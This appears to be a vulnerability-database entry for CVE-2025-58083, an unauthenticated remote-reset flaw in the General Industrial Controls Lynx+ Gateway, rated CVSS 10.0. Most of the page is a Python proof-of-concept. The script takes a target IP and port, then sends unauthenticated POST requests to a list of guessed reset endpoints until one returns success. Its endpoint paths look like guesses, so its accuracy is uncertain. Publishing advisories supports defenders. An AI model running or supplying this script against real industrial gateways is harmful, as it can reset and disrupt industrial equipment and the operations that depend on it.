General Industrial Controls Lynx+ Gateway
is missing critical authentication in the embedded web server which could allow an attacker to remotely reset the device.
CVSS Details
CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
General Industrial Controls Lynx+ Gateway (所有版本)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-58083 PoC - Lynx+ Gateway Authentication Bypass
Discovered by: [email protected]
CVSS Score: 10.0 (CRITICAL)
"""
import requests
import sys
import argparse
def reset_device(target_ip, target_port=80):
"""
Exploit the missing authentication vulnerability
to reset the Lynx+ Gateway device
"""
print(f"[*] Target: {target_ip}:{target_port}")
print(f"[*] Exploiting CVE-2025-58083...")
# Common reset endpoints
reset_endpoints = [
"/api/reset",
"/admin/reset",
"/cgi-bin/reset",
"/api/system/reset",
"/admin/factory/reset",
"/cgi-bin/system?action=reset"
]
for endpoint in reset_endpoints:
try:
url = f"http://{target_ip}:{target_port}{endpoint}"
# Send reset request without any authentication
headers = {
'User-Agent': 'Mozilla/5.0 (compatible; exploit-poc)',
'Content-Type': 'application/x-www-form-urlencoded'
}
response = requests.post(url, headers=headers, timeout=5, verify=False)
print(f"[*] Testing endpoint: {endpoint}")
print(f"[*] Status Code: {response.status_code}")
# Check for successful reset indication
if response.status_code in [200, 201, 204]:
print(f"[!] Possible successful reset trigger at {endpoint}")
return True
except requests.exceptions.RequestException as e:
print(f"[-] Error accessing {endpoint}: {str(e)}")
continue
print("[*] Reset endpoints tested. Check device status manually.")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2025-58083 PoC')
parser.add_argument('target', help='Target IP address')
parser.add_argument('-p', '--port', type=int, default=80, help='Target port (default: 80)')
args = parser.parse_args()
reset_device(args.target, args.port)